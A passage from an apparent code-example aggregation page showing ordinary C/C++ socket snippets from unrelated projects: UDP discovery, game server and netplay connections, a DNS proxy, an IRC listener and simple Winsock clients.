    sa.sin_port = htons(PORT);

    for(int i = 0;i<10;i++){
        bytes_sent = sendto(sock, buffer, strlen(buffer), 0,(struct sockaddr*)&sa, s);
        if (bytes_sent < 0) 
            network = 0;
        else{
            network = 1;
            printf("Packet %d sent \n",(i+1));
        }
    }
    close(sock); 

    //UDP packets sent, awaiting answers 
    if(network){
      sock_r = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
      ssize_t recsize;
      socklen_t fromlen;

      memset(&sa, 0, sizeof sa);
      sa.sin_family = AF_INET;
      sa.sin_addr.s_addr = htonl(INADDR_ANY);
      sa.sin_port = htons(PORT);
      fromlen = sizeof(sa);

      setsockopt(sock_r, SOL_SOCKET, SO_REUSEPORT, &optval, sizeof(optval));
    

      if (-1 == bind(sock_r, (struct sockaddr *)&sa, sizeof sa)) {
          perror("error bind failed2");
          close(sock);
          exit(EXIT_FAILURE);
      }
      sleep(1);
      //Set up timed socket
      struct timeval tv;
      tv.tv_sec = 2;  /* 2 Secs Timeout */
      tv.tv_usec = 0;
      setsockopt(sock_r, SOL_SOCKET, SO_RCVTIMEO,(char *)&tv,sizeof(tv)); 

      recsize = recvfrom(sock_r, (void*)buffer3, sizeof buffer3, 0, (struct sockaddr*)&sa, &fromlen);

         if(!strcmp(buffer3,buffer2))
         {
            serv_ip = inet_ntoa(sa.sin_addr);
            printf("Master discovered, i'm slave :(\n");
            connection = 1;
            client_init();
         }
         else
         {
            printf("Master not discovered\n");
            printf("Recieved: %s\n", buffer3);
            master_init();

         }
    
      close(sock_r);
     
    }
    else{
      puts("No network");
      pthread_t elev_thread,button_thread, check_network_thread;
      connection = 1;
      pthread_create(&elev_thread, NULL, elevator_control, NULL);
      pthread_create(&button_thread, NULL, button_check, NULL);
      pthread_create(&check_network_thread, NULL, check_network, NULL);
      pthread_join(elev_thread,NULL);
      pthread_join(check_network_thread, NULL);
      puts("Elevator Thread Killed");
      pthread_join(button_thread, NULL);
      puts("Button Check Thread Killed");

      connection_init();
    }
}
Ejemplo n.º 11
0
ASE::ASE ( CMainConfig* pMainConfig, CPlayerManager* pPlayerManager, unsigned short usPort, const char* szServerIP, bool bLan )
{
    _instance = this;

    m_bLan = bLan;
    m_usPort = usPort + ( ( m_bLan ) ? SERVER_LIST_QUERY_PORT_OFFSET_LAN : SERVER_LIST_QUERY_PORT_OFFSET );

    m_pMainConfig = pMainConfig;
    m_pPlayerManager = pPlayerManager;

    m_uiFullLastPlayerCount = 0;
    m_llFullLastTime = 0;
    m_lFullMinInterval = 10 * 1000;     // Update full query cache after 10 seconds

    m_uiLightLastPlayerCount = 0;
    m_llLightLastTime = 0;
    m_lLightMinInterval = 10 * 1000;     // Update light query cache after 10 seconds

    m_uiXfireLightLastPlayerCount = 0;
    m_llXfireLightLastTime = 0;
    m_lXfireLightMinInterval = 10 * 1000;     // Update XFire light query cache after 10 seconds

    m_ulMasterServerQueryCount = 0;

    m_strGameType = "MTA:SA";
    m_strMapName = "None";
    if ( szServerIP )
        m_strIP = szServerIP;
    std::stringstream ss;
    ss << usPort;
    m_strPort = ss.str();

    // Set the sock addr
    m_SockAddr.sin_family = AF_INET;         
    m_SockAddr.sin_port = htons ( m_usPort );
    // If a local IP has been specified, ensure it is used for sending
    if ( m_strIP.length () )
        m_SockAddr.sin_addr.s_addr = inet_addr( m_strIP.c_str () );
    else
        m_SockAddr.sin_addr.s_addr = INADDR_ANY;

    // Initialize socket
    m_Socket = socket ( AF_INET, SOCK_DGRAM, 0 );

    // If we are in lan only mode, reuse addr to avoid possible conflicts
    if ( m_bLan )
    {
        const int Flags = 1;
        setsockopt ( m_Socket, SOL_SOCKET, SO_REUSEADDR, (const char *)&Flags, sizeof ( Flags ) );
    }

    // Bind the socket
    if ( bind ( m_Socket, ( sockaddr* ) &m_SockAddr, sizeof ( m_SockAddr ) ) != 0 )
    {
        sockclose ( m_Socket );
        m_Socket = 0;
        return;
    }

    // Set it to non blocking, so we dont have to wait for a packet
    #ifdef WIN32
    unsigned long ulNonBlock = 1;
    ioctlsocket ( m_Socket, FIONBIO, &ulNonBlock );
    #else
    fcntl ( m_Socket, F_SETFL, fcntl( m_Socket, F_GETFL ) | O_NONBLOCK ); 
    #endif
}
Ejemplo n.º 12
0
void main() {
	//初始化SOCKET必须调用
	WSAData wsd;
	WSAStartup(MAKEWORD(2, 0), &wsd);
	printf("为确保程序正常运行,请先启动服务端\n");
	printf("请输入你想连接的地址,按回车会默认使用本机地址\n");
	char i_address[16];
	gets(i_address);
	if (i_address[0] == '\0')
	{
		strcpy(i_address, "127.0.0.1");
	}
	printf("准备与服务器 %s 建立连接 端口:%d\n", i_address, PORT);
	//创建SOCKET
	SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s == INVALID_SOCKET)
	{
		printf("socket 创建失败,错误代码:%d\n", WSAGetLastError());
		exit(0);
	}
	//定义 socket 地址 初始化清空
	struct sockaddr_in channel;
	memset(&channel, 0, sizeof(channel));
	channel.sin_family = AF_INET;
	channel.sin_addr.s_addr = inet_addr(i_address);
	channel.sin_port = htons(PORT);
	//绑定地址以及端口
	int c = connect(s, (struct sockaddr *) &channel, sizeof(channel));
	if (c == SOCKET_ERROR)
	{
		printf("连接出错 失败, 错误代码:%d\n", WSAGetLastError());
		exit(0);
	}
	//初始化工作完成
	printf("TCP连接已建立 ,准备向主机 %s:%d 发送信息\n ", i_address, PORT);
	//定义缓冲区
	char buf[BUF_SIZE];
	char info[256];
	char quitInfo[] = "QUIT";
	int nBytesSend = strlen(buf);
	do
	{
		gets(info);
		if (info[0] == '\0')
		{
			printf("没有检测到内容,请重新输入\n");
		}
		else {
			if (!strcmp(info, quitInfo))
			{
				printf("检测到退出命令\n");
				break;
			}
			strcpy(buf, info);
			nBytesSend = send(s, buf, strlen(buf), 0);
		}
	} while (nBytesSend == strlen(buf));
	printf("即将关闭连接\n");
	int r = closesocket(s);
	if (r == SOCKET_ERROR)
	{
		printf("关闭失败\n");
		exit(0);
	}
	printf("输入结束 与服务器连接断开,按任意键结束\n");
	getch();
}
Ejemplo n.º 13
0
int main(int argc, char **argv)
{
	int sock;
	int msg_size;
	char name[SIZE_STR];
	char path[SIZE_BUF];
	char author[SIZE_STR];
	char buffer[SIZE_BUF];
	char command[SIZE_CMD];
	char content[SIZE_CONTENT];

	ValidateArgs(argc, argv);

	if (interface)
	{
		client.sin_addr.s_addr = inet_addr(szAddress);
		if (client.sin_addr.s_addr == INADDR_NONE)
			usage();
	}
	else
		client.sin_addr.s_addr = htonl(INADDR_ANY);
	client.sin_family = AF_INET;
	client.sin_port = htons(port);
	int len = sizeof(client);

	if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	{
		perror("Socket is not created");
		exit(1);
	}

	bzero(buffer, sizeof(buffer));
	while(strcmp(buffer, ":start"))
	{

		fgets(buffer, sizeof(buffer), stdin);
		if (buffer[strlen(buffer) - 1] == '\n')
			buffer[strlen(buffer) - 1] = '\0';
		if ((msg_size = sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
		{
			perror("SEND start message failed");
			exit(1);
		}
	}
	//printf("SEND  [%d bytes]: start message '%s'\n", msg_size, buffer);

	bzero(buffer, sizeof(buffer));
	if ((msg_size = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)
	{
		perror("RECV directory content failed");
		exit(1);
	}
	//printf("RECV  [%d bytes]: directory content\n", msg_size);
	output(buffer);
	send_report(sock, SUCCESS);

	while(1)
	{
		bzero(path, sizeof(path));
		if ((msg_size = recvfrom(sock, path, sizeof(path), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)
		{
			perror("RECV current path failed");
			exit(1);
		}
		//printf("RECV  [%d bytes]: current path '%s'\n", msg_size, path);

		send_report(sock, SUCCESS);

		bzero(buffer, sizeof(buffer));
		if ((msg_size = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)
		{
			perror("RECV invitation message failed");
			exit(1);
		}
		//printf("RECV  [%d bytes]: invitation message\n", msg_size);
		output(buffer);
		char space;
		bzero(name, sizeof(name));
		bzero(buffer, sizeof(buffer));
		bzero(author, sizeof(author));
		bzero(command, sizeof(command));
		bzero(content, sizeof(content));
		scanf("%5s%1c", command, &space);
		if ((msg_size = sendto(sock, command, strlen(command), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
		{
			perror("SEND command failed");
			exit(1);
		}
		//printf("SEND  [%d bytes]: command '%s'\n", msg_size, path);

		if (!strcmp(command, ":exit"))
		{
			bzero(buffer, sizeof(buffer));
			if ((msg_size = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)	// Receive the content of file
			{
				perror("RECV file or directory content failed");
				exit(1);
			}
			//printf("RECV  [%d bytes]: file or directory content\n", msg_size);
			output(buffer);
			break;
		}

		if (recv_report(sock) < 0)
		{
			puts("!No such command");
			send_report(sock, SUCCESS);
		}

		if (!strcmp(command, "add"))
		{
			char str[SIZE_ARG];
			fgets(name, sizeof(name), stdin);
			if (name[strlen(name) - 1] == '\n')
				name[strlen(name) - 1] = '\0';
			if ((msg_size = sendto(sock, name, strlen(name), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
			{
				perror("SEND command failed");
				exit(1);
			}
			//printf("SEND  [%d bytes]: title of article '%s'\n", msg_size, name);
			if (recv_report(sock) < 0)
			{
				puts("!Such file already exist");
				send_report(sock, SUCCESS);
			}
			else
			{
				int length = sizeof(content) - sizeof(author) - sizeof(name);
				printf("Input author: ");
				fgets(author, sizeof(author), stdin);
				if (author[strlen(author) - 1] == '\n')
					author[strlen(author) - 1] = '\0';
				printf("name's read: %s [%d bytes]\n", name, msg_size);
				printf("author's read: %s [%d bytes]\n", author, msg_size);

				puts("Put content:");
				printf("[%d of %d]  ", (strlen(content)+strlen(str)), length);
				while (fgets(str, sizeof(str), stdin) != NULL)
				{
					if (!strncmp(":end", str, strlen(":end")))
						break;
					if ((strlen(content)+strlen(str)) > length)
					{
						puts("!Text size will not allow. Type less or :end");
						bzero(str, strlen(str));
						printf("[%d of %d]  ", (strlen(content)+strlen(str)), length);
						//__fpurge(stdin);
					}
					strcat(content, str);
					bzero(str, strlen(str));
				}
				if ((msg_size = sendto(sock, author, strlen(author), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
				{
					perror("SEND author of article failed");
					exit(1);
				}
				//printf("SEND  [%d bytes]: author of article '%s'\n", msg_size, author);
				recv_report(sock);

				if ((msg_size = sendto(sock, content, strlen(content), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
				{
					perror("SEND file content failed");
					exit(1);
				}
				//printf("SEND  [%d bytes]: file content '%s'\n", msg_size, content);
				if (recv_report(sock) < 0)
					puts("!Such file already exist");
				send_report(sock, SUCCESS);
			}
		}

		gets(buffer);
		if (!strcmp(command, "open"))
		{
			strcat(path, buffer);
			if ((msg_size = sendto(sock, path, strlen(path), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
			{
				perror("SEND full path to file failed");
				exit(1);
			}
			printf("SEND  [%d bytes]: full path to file '%s'\n", msg_size, path);
		}
		else if (!strcmp(command, "find"))
		{
			if ((msg_size = sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr *)&client, sizeof(client))) < 0)
			{
				perror("SEND author to find failed");
				exit(1);
			}
			//printf("SEND  [%d bytes]: author to find '%s'\n", msg_size, buffer);
		}

		bzero(content, sizeof(content));
		if ((msg_size = recvfrom(sock, content, sizeof(content), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)	// Receive the content of file
		{
			perror("RECV file or directory content failed");
			exit(1);
		}
		//printf("RECV  [%d bytes]: file or directory content\n", msg_size);
		output(content);
		send_report(sock, SUCCESS);
	}
	recv_msg(sock, content, sizeof(content), 0, (struct sockaddr *)&client, (socklen_t *)&len);
	/*int num = 0;
	char *ptr = &content[1];
	char number[2];
	while(1){
		if ((msg_size = recvfrom(sock, content, sizeof(content), 0, (struct sockaddr *)&client, (socklen_t *)&len)) < 0)	// Receive the content of file
		{
			perror("RECV file or directory content failed");
			exit(1);
		}
		printf("RECV  [%d bytes]: file or directory content\n", msg_size);
		memset(number, 0, sizeof(number));
		strncpy(number, ptr, 2);
		printf("%d    ", atoi(number));
		output(content);
		if (num != atoi(number))
			send_report(sock, UNSUCCESS);
		else
			send_report(sock, SUCCESS);
		num++;
		if (content[0] == '1')
			break;
	}*/
    close(sock);
	return 0;
}
Ejemplo n.º 14
0
BOOL CDAppMain::InitServer()
{
    if ( !Globals::LoadConfigure() )
    {
        return rfalse( 0, 0, "LoadConfigure failure" );
    }

    //搜寻帐号服务器和场景服务器,并试图建立连接
    m_bQuit = FALSE;

	LPCSTR ip = NULL, port = NULL, account = NULL;

    Globals::GetDatabaseIPPORT( ip, port );
    if ( !m_DatabaseClient.Connect( ip, port ) )
        return rfalse(0, 0, "无法连接数据库服务器!");

    //Globals::GetAccountIPPORT( ip, port );
    //if ( !m_AccountClient.Connect( ip, port ) )
   //     return rfalse(0, 0, "无法连接帐号服务器!");
	if ( !m_AccountModuleManage.RegisterALLACC() )
			return rfalse(0, 0, "无法连接帐号服务器!");

    Globals::GetDBCenterIPPORT( ip, port );
    if ( !m_dbCenterClient.Connect( ip, port ) )
        /*return */rfalse( 2, 0, "无法连接中央数据库服务器[%s:%s]!", ip, port );
	
	Globals::GetCenterServerIPPORT(ip, port);
	if (!m_CenterClient.Connect(ip, port))
	{
		return rfalse(2, 1, "无法连接中心服!!!!!");
	}

    // 读取中央数据库列表数据失败时,也可能是正常的情况,所以不需要处理返回值
    Globals::LoadDbcList();

    Globals::GetGameServerPort( port );
    if ( !m_ServerManager.Host( port ) )
        return rfalse(0, 0, "无法启动服务器(S)端口监听!");

    Globals::GetPlayerServerPort( port );
    if ( !m_PlayerManager.Host( port ) )
        return rfalse(0, 0, "无法启动服务器(P)端口监听!");

	/*if (!m_NetGMModule.Init())
		return rfalse(0, 0, "无法启动服务器(GM)端口监听!");*/
	
	Globals::GetGMServerPort(port);
	if (!m_NetGMModule.Init(port))
		return rfalse(0, 0, "无法启动服务器(GM)端口监听!");

	Globals::GetCollectPort(port);
	if (!m_DataCollect.InitializeNet((char *)port))
        return rfalse(0, 0, "无法启动采集服务端口监听!");

    char vermsg[40];
    _snprintf( vermsg, 20, "版本号:Build%04d", SERVER_VERSION );
    rfalse(2, 1, vermsg);

	sprintf(vermsg,"玩家数据版本号:Build 0x%x",SFixPlayerDataBuf::GetVersion() );
	rfalse(2, 1, vermsg);

	int nport = 0;
	Globals::GetServerAccount(account);
	Globals::GetServerIPPORT(ip, nport);

	SQRegisterLoginServer _msg;
	_msg.dwIP = inet_addr(ip);
	_msg.dwPort = nport;
	_msg.index = 0;
	_msg._dNew = 0;
	_msg._dActivity = 0;
	_msg._dRush = 0;
	try
	{
		lite::Serializer slm(_msg.streamservername, sizeof(_msg.streamservername));
		slm(account);
		size_t _esize = slm.EndEdition();
		m_CenterClient.SendToCenterServer(&_msg, static_cast<WORD>(sizeof(_msg) - _esize));
	}
	catch (lite::Xcpt &)
	{
		return FALSE;
	}
	rfalse(2, 1, "Registering To CenterServer");
    rfalse(2, 1, "登陆服务器[%s]启动啦!", Globals::GetChargeMode() ? "收费" : "免费" );

	return TRUE;
}
Ejemplo n.º 15
0
/*
static uint32 de32(uint8 *morp)
{ 
 return(morp[0]|(morp[1]<<8)|(morp[2]<<16)|(morp[3]<<24));
}
*/
int FCEUD_NetworkConnect(void)
{
 struct sockaddr_in sockin;    /* I want to play with fighting robots. */
 struct hostent *phostentb;
 unsigned long hadr;
 int TSocket;
 int netdivisor;
  
 if(!netplayhost) return(0);

 if( (TSocket=socket(AF_INET,SOCK_STREAM,0))==-1)
 {
  puts("Error creating stream socket.");
  FCEUD_NetworkClose();
  return(0);
 }
 int tcpopt = 1;  
 if(setsockopt(TSocket, SOL_TCP, TCP_NODELAY, &tcpopt, sizeof(int)))
  puts("Nodelay fail");

 memset(&sockin,0,sizeof(sockin));
 sockin.sin_family=AF_INET;
 
 hadr=inet_addr(netplayhost);
 
 if(hadr!=INADDR_NONE)
  sockin.sin_addr.s_addr=hadr;
 else
 {
  puts("*** Looking up host name...");
  if(!(phostentb=gethostbyname((const char *)netplayhost)))
  {
   puts("Error getting host network information.");
   close(TSocket);
   FCEUD_NetworkClose();
   return(0);
  }
  memcpy(&sockin.sin_addr,phostentb->h_addr,phostentb->h_length);
 }
 
 sockin.sin_port=htons(tport);
 puts("*** Connecting to remote host...");
 if(connect(TSocket,(struct sockaddr *)&sockin,sizeof(sockin))==-1)
 {
   puts("Error connecting to remote host.");
   close(TSocket);
   FCEUD_NetworkClose();
  return(0);
 }
 Socket=TSocket;
 puts("*** Sending initialization data to server...");
 {
  uint8 *sendbuf;
  uint8 buf[5];
  uint32 sblen;

   sblen = 4 + 16 + 16 + 64 + 1 + (netplaynick?strlen(netplaynick):0);
   sendbuf = malloc(sblen);
   memset(sendbuf, 0, sblen);
                           
   en32(sendbuf, sblen - 4);
                           
   if(netgamekey)
   {
    struct md5_context md5;
    uint8 md5out[16];

    md5_starts(&md5);
    md5_update(&md5, CurGame->MD5, 16);
    md5_update(&md5, netgamekey, strlen(netgamekey));
    md5_finish(&md5, md5out);
    memcpy(sendbuf + 4, md5out, 16);
   }
   else
    memcpy(sendbuf + 4, CurGame->MD5, 16);

   if(netpassword)
   {
    struct md5_context md5;
    uint8 md5out[16];
   
    md5_starts(&md5);
    md5_update(&md5, netpassword, strlen(netpassword));
    md5_finish(&md5, md5out);
    memcpy(sendbuf + 4 + 16, md5out, 16);
   }
                        
   memset(sendbuf + 4 + 16 + 16, 0, 64);

   sendbuf[4 + 16 + 16 + 64] = netlocalplayers;

   if(netplaynick)
    memcpy(sendbuf + 4 + 16 + 16 + 64 + 1,netplaynick,strlen(netplaynick));

  send(Socket, sendbuf, sblen, 0);
  free(sendbuf);

  recv(Socket, buf, 1, MSG_WAITALL);
  netdivisor = buf[0];
 }

 puts("*** Connection established.");

 FCEUDnetplay = 1;
 FCEUI_NetplayStart(netlocalplayers, netdivisor);
 return(1);
}
Ejemplo n.º 16
0
int main (int argc, char *argv[])
{
  struct sockaddr_in sin;
  int sock, len;
  char p[4096], *fname = "x.fec";
  struct timeval tv;
  fd_set set;
  FILE *f;
  fecDecoder *d;
  struct ip_mreq mreq;
#if defined (WIN32) || defined (__CYGWIN__)
  WSADATA localWSA;
  if (WSAStartup (MAKEWORD(1,1),&localWSA) != 0) {
    fprintf (stderr, "Unable to load wsock32.dll\n");
    mainreturn (1);
  }
#endif

  fprintf (stderr, "%s: %s\n", argv[0], FEC_COPYRIGHT);

  if ((sock = socket (PF_INET, SOCK_DGRAM, 0)) == -1) {
    fprintf (stderr, "Unable to make internet socket\n");
    mainreturn (3);
  }
  memset (&sin, 0, sizeof (sin));
  sin.sin_family = AF_INET;
  *(unsigned*)&sin.sin_addr = 0; //inet_addr (iface);
  sin.sin_port = SUGGESTED_FEC_UDP_PORT_NUMBER;

  for (;argc > 1; argc--, argv++) {
    if (strcmp (argv[1], "-h") == 0) {
      fprintf (stderr, 
"Usage : %s [-f %s] [-p portNumber] [-i interface] [-m multicastAddress]\n"
"Receives a file and exits. If the file was received successfully\n"
"it is called `%s' (adjustable with -f), otherwise it is deleted.\n"
"Note that the interface is the IP address of the local device\n",
        argv[0], fname, fname);
      mainreturn (4);
    }
    else if (strcmp (argv[1], "-f") == 0) {
      fname = argv[2];
      argc--, argv++;
    }
    else if (strcmp (argv[1], "-p") == 0) {
      sin.sin_port = htons (atoi (argv[2]));
      argc--, argv++;
    }
    else if (strcmp (argv[1], "-i") == 0) {
      *(unsigned*)&sin.sin_addr = inet_addr (argv[2]);
      argc--, argv++;
    }
    else if (strcmp (argv[1], "-m") == 0) {
      *(unsigned*)&mreq.imr_multiaddr = inet_addr (argv[2]);
      *(unsigned*)&mreq.imr_interface = *(unsigned*)&sin.sin_addr;
      if (setsockopt (sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char*) &mreq,
      sizeof(mreq)) < 0) fprintf (stderr, "Unable to active multicast\n");
    }
    else fprintf (stderr, "Unknown option %s. Use -h for help\n", argv[1]);
  }

  if (bind (sock, (struct sockaddr*) &sin, sizeof (sin)) == -1) {
    fprintf (stderr, "Error : UDP port or device is unavailable\n");
    mainreturn (1);
  }
  f = fopen (fname, "w");
  d = NewFecDecoder (f, WriteF);
  do {
    len = recv (sock, p, sizeof (p), 0);
    FecDecode (p, len, 1, d);
    FD_ZERO (&set);
    FD_SET (sock, &set);
    tv.tv_sec = 30;
    tv.tv_usec = 0;
  } while (select (sock + 1, &set, NULL, NULL, &tv) != 0);
  FlushFecDecoder (d);

  fclose (f);

  fprintf (stderr, "File received. %d packets was unrecoverable out of %d\n",
    d->lostPackets,
    (d->lostPackets + d->receivedPackets + d->correctedPackets));
  if (d->lostPackets > 0) unlink (fname);

  closesocket (sock);
  mainreturn (0);
}
Ejemplo n.º 17
0
/* main -- dnsproxy main function
 */
int
main(int argc, char *argv[])
{
    int ch;
    struct passwd *pw = NULL;
    struct sockaddr_in addr;
    struct event evq, eva;
    const char *config = "/etc/dnsproxy.conf";
    int daemonize = 0;

    /* Process commandline arguments */
    while ((ch = getopt(argc, argv, "c:dhV")) != -1) {
        switch (ch) {
        case 'c':
            config = optarg;
            break;
        case 'd':
            daemonize = 1;
            break;
        case 'V':
            fprintf(stderr, PACKAGE_STRING "\n");
            exit(0);
        /* FALLTHROUGH */
        case 'h':
        default:
            fprintf(stderr,
            "usage: dnsproxy [-c file] [-dhV]\n"        \
            "\t-c file  Read configuration from file\n" \
            "\t-d       Detach and run as a daemon\n"   \
            "\t-h       This help text\n"           \
            "\t-V       Show version information\n");
            exit(1);
        }
    }

    /* Parse configuration and check required parameters */
    if (!parse(config))
        fatal("unable to parse configuration");

    if (!authoritative || !recursive)
        fatal("No authoritative or recursive server defined");

    if (!listenat)
        listenat = strdup("0.0.0.0");

    /* Create and bind query socket */
    if ((sock_query = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
        fatal("unable to create socket: %s", strerror(errno));

    memset(&addr, 0, sizeof(struct sockaddr_in));
    addr.sin_addr.s_addr = inet_addr(listenat);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;

    if (bind(sock_query, (struct sockaddr *)&addr, sizeof(addr)) != 0)
        fatal("unable to bind socket: %s", strerror(errno));

    /* Create and bind answer socket */
    if ((sock_answer = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
        fatal("unable to create socket: %s", strerror(errno));

    memset(&addr, 0, sizeof(struct sockaddr_in));
    addr.sin_family = AF_INET;

    if (bind(sock_answer, (struct sockaddr *)&addr, sizeof(addr)) != 0)
        fatal("unable to bind socket: %s", strerror(errno));

    /* Fill sockaddr_in structs for both servers */
    memset(&authoritative_addr, 0, sizeof(struct sockaddr_in));
    authoritative_addr.sin_addr.s_addr = inet_addr(authoritative);
    authoritative_addr.sin_port = htons(authoritative_port);
    authoritative_addr.sin_family = AF_INET;

    memset(&recursive_addr, 0, sizeof(struct sockaddr_in));
    recursive_addr.sin_addr.s_addr = inet_addr(recursive);
    recursive_addr.sin_port = htons(recursive_port);
    recursive_addr.sin_family = AF_INET;

    /* Daemonize if requested and switch to syslog */
    if (daemonize) {
        if (daemon(0, 0) == -1)
            fatal("unable to daemonize");
        log_syslog("dnsproxy");
    }

    /* Find less privileged user */
    if (user) {
        pw = getpwnam(user);
        if (!pw)
            fatal("unable to find user %s", user);
    }

    /* Do a chroot if requested */
    if (chrootdir) {
        if (chdir(chrootdir) || chroot(chrootdir))
            fatal("unable to chroot to %s", chrootdir);
        chdir("/");
    }

    /* Drop privileges */
    if (user) {
        if (setgroups(1, &pw->pw_gid) < 0)
            fatal("setgroups: %s", strerror(errno));
#if defined(HAVE_SETRESGID)
        if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) < 0)
            fatal("setresgid: %s", strerror(errno));
#elif defined(HAVE_SETREGID)
        if (setregid(pw->pw_gid, pw->pw_gid) < 0)
            fatal("setregid: %s", strerror(errno));
#else
        if (setegid(pw->pw_gid) < 0)
            fatal("setegid: %s", strerror(errno));
        if (setgid(pw->pw_gid) < 0)
            fatal("setgid: %s", strerror(errno));
#endif
#if defined(HAVE_SETRESUID)
        if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) < 0)
            fatal("setresuid: %s", strerror(errno));
#elif defined(HAVE_SETREUID)
        if (setreuid(pw->pw_uid, pw->pw_uid) < 0)
            fatal("setreuid: %s", strerror(errno));
#else
        if (seteuid(pw->pw_uid) < 0)
            fatal("seteuid: %s", strerror(errno));
        if (setuid(pw->pw_uid) < 0)
            fatal("setuid: %s", strerror(errno));
#endif
    }

    /* Init event handling */
    event_init();

    event_set(&evq, sock_query, EV_READ, do_query, &evq);
    event_add(&evq, NULL);

    event_set(&eva, sock_answer, EV_READ, do_answer, &eva);
    event_add(&eva, NULL);

    /* Zero counters and start statistics timer */
    statistics_start();

    /* Take care of signals */
    if (signal(SIGINT, signal_handler) == SIG_ERR)
        fatal("unable to mask signal SIGINT: %s", strerror(errno));

    if (signal(SIGTERM, signal_handler) == SIG_ERR)
        fatal("unable to mask signal SIGTERM: %s", strerror(errno));

    if (signal(SIGHUP, SIG_IGN) == SIG_ERR)
        fatal("unable to mask signal SIGHUP: %s", strerror(errno));

    event_sigcb = signal_event;

    /* Start libevent main loop */
    event_dispatch();

    return 0;

}
Ejemplo n.º 18
0
/*
 * add_listener- create a new listener 
 * port - the port number to listen on
 * vhost_ip - if non-null must contain a valid IP address string in the format "255.255.255.255"
 * options - listener options
 * cp - listener default code page
 */
void add_listener(int port, const char* vhost_ip, char* options, char* cp)
{
  struct Listener* listener;
  struct IN_ADDR   vaddr;

  /*
   * if no port in conf line, don't bother
   */
  if (0 == port)
    return;

#ifdef IPV6
  vaddr = INADDRANY;
#else
   vaddr.s_addr = INADDRANY;
#endif

  if (vhost_ip) {
#ifdef IPV6
     if(inetpton(AFINET, vhost_ip, &vaddr) == 0)
       return;
#else
      vaddr.s_addr = inet_addr(vhost_ip);
      if (INADDR_NONE == vaddr.s_addr)
        return;
#endif
  }

  if ((listener = find_listener(port, vaddr))) {
    listener->active = 1;
    return;
  }
  
  if(options && *options)
    irclog(L_NOTICE,"Adding listener for %s, port %d Options:%s",
  	vhost_ip ? vhost_ip : "ANY", port, options );
  else
    irclog(L_NOTICE,"Adding listener for %s, port %d",
  	vhost_ip ? vhost_ip : "ANY", port);
  	
  listener = make_listener(port, vaddr);
  if(options)
  {
    while(*options)
      {
        switch(*options)
          {
            case 's' : 
#ifdef HAVE_SSL            
            if(no_ssl)
              irclog(L_WARN,"ignoring port with 's' option!");
            else
              listener->options |= LST_SSL; 
#else
              irclog(L_WARN,"ircd compiled without SSL support, ignoring port with 's' option!");
#endif              
              break;
            case 'S' : listener->options |= LST_SERVER; break;
            case 'W' : listener->options |= LST_WEBCHAT; break;
            case 'J' : listener->options |= LST_JAVACR; break;
            case 'n' : listener->options |= LST_NOSPOOF; break;
          }
        ++options;          
      }
  }
  
  if(cp && cp[0])
    {
       listener->codepage = codepage_find(cp); 
       if(listener->codepage==-1)
         irclog(L_WARN,"Codepage %s defined on P:line was not loaded!", cp);
    }
  else
     listener->codepage=-1;
     
  if (inetport(listener)) {
    listener->active = 1;
    listener->next   = ListenerPollList;
    ListenerPollList = listener; 
  }
  else
    free_listener(listener);
}
Ejemplo n.º 19
0
int main(int argc, char* argv[])
{
    //----------------------
    // Initialize Winsock.
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != NO_ERROR) {
        wprintf(L"WSAStartup failed with error: %ld\n", iResult);
        return 1;
    }

    //----------------------
    // Create a SOCKET for connecting to server
    SOCKET ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (ConnectSocket == INVALID_SOCKET) {
        printf("Error at socket(): %ld\n", WSAGetLastError() );
        WSACleanup();
        return 1;
    }
    //----------------------
    // The sockaddr_in structure specifies the address family,
    // IP address, and port for the socket that is being bound.
    sockaddr_in addrServer;
    addrServer.sin_family = AF_INET;
    addrServer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
    addrServer.sin_port = htons(20131);

	//----------------------
    // Connect to server.
    iResult = connect( ConnectSocket, (SOCKADDR*) &addrServer, sizeof(addrServer) );
    if ( iResult == SOCKET_ERROR) {
        closesocket (ConnectSocket);
        printf("Unable to connect to server: %ld\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

	char buf[1024+1];
	//以一个无限循环的方式,不停地接收输入,发送到server
	while(1)
	{
		int count = _read (0, buf, 1024);//从标准输入读入
		if(count<=0)break;
		int sendCount,currentPosition=0;
		while( count>0 && (sendCount=send(ConnectSocket ,buf+currentPosition,count,0))!=SOCKET_ERROR)
		{
			count-=sendCount;
			currentPosition+=sendCount;
		}
		if(sendCount==SOCKET_ERROR)break;
		
		count =recv(ConnectSocket ,buf,1024,0);
		if(count==0)break;//被对方关闭
		if(count==SOCKET_ERROR)break;//错误count<0
		buf[count]='\0';
		printf("%s",buf);
	}
	//结束连接
	closesocket(ConnectSocket);
	WSACleanup();
	return 0;
}
Ejemplo n.º 20
0
// 初始化面向客户端的连接
BOOL KPlayerServer::Init()
{
    BOOL            bResult                 = false;
    int             nRetCode                = false;
    BOOL            bSocketServerInit       = false;
    IIniFile*	    piIniFile               = NULL;
    unsigned long   ulInternalIPAddressMask = 0;
    unsigned long   ulExternalIPAddress     = INADDR_NONE;
    unsigned long   ulInternalIPAddress     = INADDR_NONE;
